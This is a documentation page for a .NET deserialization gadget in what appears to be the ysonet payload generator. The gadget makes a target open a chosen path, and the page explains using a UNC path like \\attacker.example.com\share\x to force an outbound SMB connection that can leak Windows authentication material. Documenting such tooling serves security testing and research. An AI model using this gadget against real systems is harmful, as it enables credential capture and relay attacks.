FileSystemInfoTimeSetter

gadget

Sets a timestamp on the path you give, on the target. Any UNC path opens an SMB session to that host - no short name needed.

Declared metadata, not a runtime result. How to read evidence.

.\ysonet.exe -g FileSystemInfoTimeSetter -h

Target declarations

Variant	Formatters	Inputs	Requirements	Runtime tokens
1	Xaml	unc-path	built-in, net-framework	net-fx-4.0, net-fx-4.5, net-fx-4.5.1, net-fx-4.5.2, net-fx-4.6, net-fx-4.6.1, net-fx-4.6.2, net-fx-4.7, net-fx-4.7.1, net-fx-4.7.2, net-fx-4.8, net-fx-4.8.1
2	Xaml	unc-path	built-in, net-framework	net-fx-4.0, net-fx-4.5, net-fx-4.5.1, net-fx-4.5.2, net-fx-4.6, net-fx-4.6.1, net-fx-4.6.2, net-fx-4.7, net-fx-4.7.1, net-fx-4.7.2, net-fx-4.8, net-fx-4.8.1

Variants

1: System.IO.DirectoryInfo (default) - Directory.SetXxxTimeUtc (default)
2: System.IO.FileInfo - File.SetXxxTimeUtc, which opens the path for write

Options (3)

Option Help Default Required

Option	Help	Default	Required
`var\|variant=`	Which concrete FileSystemInfo the payload constructs. Both reach the same open of your path; they differ in which framework helper gets there. 1 (default) - System.IO.DirectoryInfo. The setter calls Directory.SetXxxTimeUtc, which opens a handle with backup semantics. 2 - System.IO.FileInfo. The setter calls File.SetXxxTimeUtc, which is new FileStream(path, FileMode.Open, FileAccess.Write, FileShare.ReadWrite, 1). WHAT TO PUT IN -c. Any path the target's file system accepts. The interesting shape is a plain UNC path: \attacker.example.com\share\x Unlike the serialization-constructor route, nothing here needs an MS-DOS short-name ("~") component: the path is opened directly, so any UNC path reaches the host. FileMode.Open never creates a file, so a share that does not exist still costs the target the connect. WHAT A CALLBACK PROVES. That the target resolved your host and tried to open the path. It does NOT prove a completed SMB session, NTLM authentication, captured credentials or a relay: those depend on the target, the network and your endpoint. Default value: "1". Suggested values: 1, 2.	1	false
`member=`	Which timestamp property the payload assigns. Choices: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc. Default: "LastWriteTimeUtc". All six reach the same open of -c, so the choice matters only for a target that filters, logs or matches on the member NAME. The three ending in Utc are the real setters; the other three assign their Utc twin after ToUniversalTime(), which is the same sink one frame further out. The timestamp value is fixed at 2001-02-03T04:05:06.0000000 and is not an option, because the open happens before the value is used, so it changes nothing about whether the payload lands. -t IS ACCEPTED and it deserializes the payload HERE, so THIS machine opens the path you named - the same as on the other network gadgets. Against a UNC path that is your callback, and Windows sends authentication material when it opens an SMB session, so only point it at an endpoint you own. Against an existing LOCAL file it really does change that file's timestamp to the value above. FileMode.Open means it never creates a file that was not there. Default value: "LastWriteTimeUtc". Suggested values: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc.	LastWriteTimeUtc	false
`rawinput`	Put -c into the payload template exactly as typed, instead of escaping it for XML. Normal mode escapes "&", "<" and ">", which is what the text node holding your path needs. Use this only when you have already escaped the value yourself. It also turns off the check that the finished payload still carries your path unchanged, because there is then no text of yours left to compare against. Default value: "false".	false	false

var|variant=

Which concrete FileSystemInfo the payload constructs. Both reach the same open of your path; they differ in which framework helper gets there. 1 (default) - System.IO.DirectoryInfo. The setter calls Directory.SetXxxTimeUtc, which opens a handle with backup semantics. 2 - System.IO.FileInfo. The setter calls File.SetXxxTimeUtc, which is new FileStream(path, FileMode.Open, FileAccess.Write, FileShare.ReadWrite, 1).

WHAT TO PUT IN -c. Any path the target's file system accepts. The interesting shape is a plain UNC path: \attacker.example.com\share\x Unlike the serialization-constructor route, nothing here needs an MS-DOS short-name ("~") component: the path is opened directly, so any UNC path reaches the host. FileMode.Open never creates a file, so a share that does not exist still costs the target the connect.

WHAT A CALLBACK PROVES. That the target resolved your host and tried to open the path. It does NOT prove a completed SMB session, NTLM authentication, captured credentials or a relay: those depend on the target, the network and your endpoint. Default value: "1". Suggested values: 1, 2.

false

member=

Which timestamp property the payload assigns. Choices: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc. Default: "LastWriteTimeUtc".

All six reach the same open of -c, so the choice matters only for a target that filters, logs or matches on the member NAME. The three ending in Utc are the real setters; the other three assign their Utc twin after ToUniversalTime(), which is the same sink one frame further out.

The timestamp value is fixed at 2001-02-03T04:05:06.0000000 and is not an option, because the open happens before the value is used, so it changes nothing about whether the payload lands.

-t IS ACCEPTED and it deserializes the payload HERE, so THIS machine opens the path you named - the same as on the other network gadgets. Against a UNC path that is your callback, and Windows sends authentication material when it opens an SMB session, so only point it at an endpoint you own. Against an existing LOCAL file it really does change that file's timestamp to the value above. FileMode.Open means it never creates a file that was not there. Default value: "LastWriteTimeUtc". Suggested values: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc.

LastWriteTimeUtc

false

rawinput Put -c into the payload template exactly as typed, instead of escaping it for XML. Normal mode escapes "&", "<" and ">", which is what the text node holding your path needs. Use this only when you have already escaped the value yourself. It also turns off the check that the finished payload still carries your path unchanged, because there is then no text of yours left to compare against. Default value: "false". false false

Credit: [Finders: James Forshaw] [Contributors: Soroush Dalili]

All modules · Full catalog JSON